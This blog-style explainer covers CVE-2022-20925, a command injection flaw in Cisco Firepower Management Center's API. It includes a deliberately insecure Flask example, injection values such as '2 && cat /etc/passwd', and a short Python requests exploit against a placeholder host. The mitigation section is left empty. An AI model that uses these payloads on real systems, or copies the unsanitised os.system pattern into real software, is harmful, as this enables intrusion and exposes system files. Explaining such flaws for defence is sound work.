A major security hole was discovered in Cisco’s Firepower Management Center (FMC) Software, tracked as CVE-2022-20925. This vulnerability could let attackers with valid credentials run their own commands on the underlying Linux operating system—remotely, via the web management API. If you manage Cisco’s security gear, this post will help you understand how this bug works, how it can be abused, and how to protect your network.

What Is CVE-2022-20925?

CVE-2022-20925 is a command injection vulnerability found in the web management interface of Cisco FMC, caused by improper validation of user input passed to some API endpoints. Basically, FMC trusts too much of what users send it—opening the door to malicious input.

To exploit this bug, the attacker needs to

- Have credentials. Only authenticated users with “Device” permissions (by default: Administrators, Security Approvers, and Network Admins) are affected.

Send crafted data to a vulnerable API endpoint.

If those two criteria are met, the attacker could trick the FMC into running OS-level commands of their choosing.

The Root Cause: Unchecked Parameters in APIs

Security researchers discovered that some API endpoints on the FMC server pass user data directly to a shell command, without proper sanitization. This means an attacker could insert special characters to break out of expected parameters and slip in any command they want, piggybacking on the legitimate command run by FMC.

Insecure code pattern example (Python-like pseudocode)

from flask import request
import os

@app.route("/api/device/config", methods=['POST'])
def configure_device():
    # BAD: User input is not sanitized
    device_id = request.form['id']
    config_cmd = f"device_config_tool --id {device_id}"
    os.system(config_cmd)  # Attacker controls device_id!
    return "OK"

If you can set device_id to something like 1 && whoami, the backend will execute

device_config_tool --id 1 && whoami


So, the attacker gets the output of whoami (or any other command) with system privileges.

Send a crafted request to the vulnerable API

Instead of a proper device ID or parameter, you send command-injection payloads such as 1; id or 2 && cat /etc/passwd.

Command executes

If the backend doesn’t sanitize your input, it will run both the expected command and whatever you stuck in. The response may include the command output, or the command might silently run (e.g., drop a webshell, open a reverse shell, etc.).

Example Exploit (Simplified)

Suppose you have a REST API endpoint like /api/device/config/submit.

Here’s a Python exploit demo using the requests library

import requests

url = 'https://fmc.example.com/api/device/config/submit';
cookies = {'FMCAuthCookie': 'your_auth_token'}

payload = {
    "id": "1;whoami",  # This injects the Linux 'whoami' command
    "other_param": "value"
}

response = requests.post(url, json=payload, cookies=cookies, verify=False)
print(response.text)

What this does:
If vulnerable, the server would run device_config_tool --id 1;whoami, and the attacker would learn which user the FMC process runs as.

Mitigation & Patching

Cisco has fixed this flaw in patches.  
See the official advisory: Cisco Security Advisory: cisco-sa-fmc-cmdinj-TX4Q4b8

What you should do:

Further Reading & References

- NVD Entry for CVE-2022-20925
- Cisco’s Official Advisory
- Exploit-DB: Cisco FMC Command Injection

In Summary

CVE-2022-20925 is a dangerous command injection bug that can only be exploited by authenticated users, but could have a big impact if leveraged. Don’t assume your firewalls can protect you if they’re not patched. Stay up to date and treat your management APIs as a critical attack surface!


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Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/22/2022 00:45:00 UTC